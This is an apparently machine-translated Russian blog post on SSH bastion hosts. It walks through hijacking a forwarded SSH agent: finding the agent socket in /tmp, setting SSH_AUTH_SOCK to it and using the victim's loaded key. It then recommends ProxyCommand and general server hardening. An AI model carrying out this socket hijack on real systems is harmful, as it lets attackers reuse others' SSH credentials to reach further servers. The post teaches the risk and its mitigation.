Я видел ответ про ProxyJump. Давайте поговорим о ProxyCommand .
Но подожди, подожди! Я могу написать вам, как взломать сервер, который использует переадресацию агента, это будет намного легче понять разницу!
Давайте взломать!
Для основных шагов: вы можете прочитать мой пост здесь
Основные шаги следующие:
- Создать пользователей бастиона
- Отключить root-логин
- Блокировать попытки взлома
- Изменить порт
- Настроить брандмауэр
- Настройте SELinux
Как использовать AgentForwarding
-Создать конфиг в ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Добавьте свой ключ аутентификации в ssh-agent
ssh-add ~/.ssh/name_rsa
-Соединиться с бастионом
ssh bast
-Подключение сервера приложений от бастиона
ssh app@IP -p PORT
Взлом!
Вы можете задать мне вопрос:
Как взломать серверы, если вы взломали бастионный хост?
Трек Цель
В каталоге / tmp вы можете увидеть что-то вроде этого:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Давайте откроем временный файл
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Давайте посмотрим на соединения с этим идентификатором процесса.
netstat -nxp | grep 10507
результат:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
а кто связан?
lsof -i -a -p 10507
результат:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Мы также можем увидеть файлы сокетов:
cd /proc/10507/fd/
ls
результат:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
А что происходит, когда клиент будет подключен к удаленному серверу? Давайте посмотрим:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Мы даже можем увидеть, используется ли файл сокета с помощью netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Информация о краже сокета и IP-адрес
Теперь нам нужно , чтобы украсть информацию сокета во время сеанса бастиона хоста является открытым . О, нам также нужен IP-адрес сервера назначения , поэтому просто используйте netstat:
netstat -tn
Последний шаг , чтобы использовать пересылаемый файл сокет
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Проверьте, загружен ли ключ .
ssh-add -l
результат должен быть примерно таким :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Сервер взломан, как исправить проблему безопасности?
Команда прокси
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Для основных операций: как передавать файлы через серверы (от клиента к серверу, от сервера к клиенту), вы можете прочитать в моем посте здесь
Заключение
- Если вы используете бастионный хост, не используйте AgentForwarding, но используйте ProxyCommand
- Всегда используйте пользователя без полномочий root для аутентификации
- Используйте брандмауэр и заблокируйте все ненужные подключения.
- Используйте SELinux (в общем)
- Заблокируйте IP-адрес, который пытается войти несколько раз с неверными учетными данными
- Если это не нужно, не разрешайте пользователю sudo
- Контролируйте свой сервер
- Обновите свой сервер для исправлений безопасности
Более подробную информацию смотрите в моем блоге . Кроме того, у меня есть несколько скриншотов, так что это может быть полезно для вас.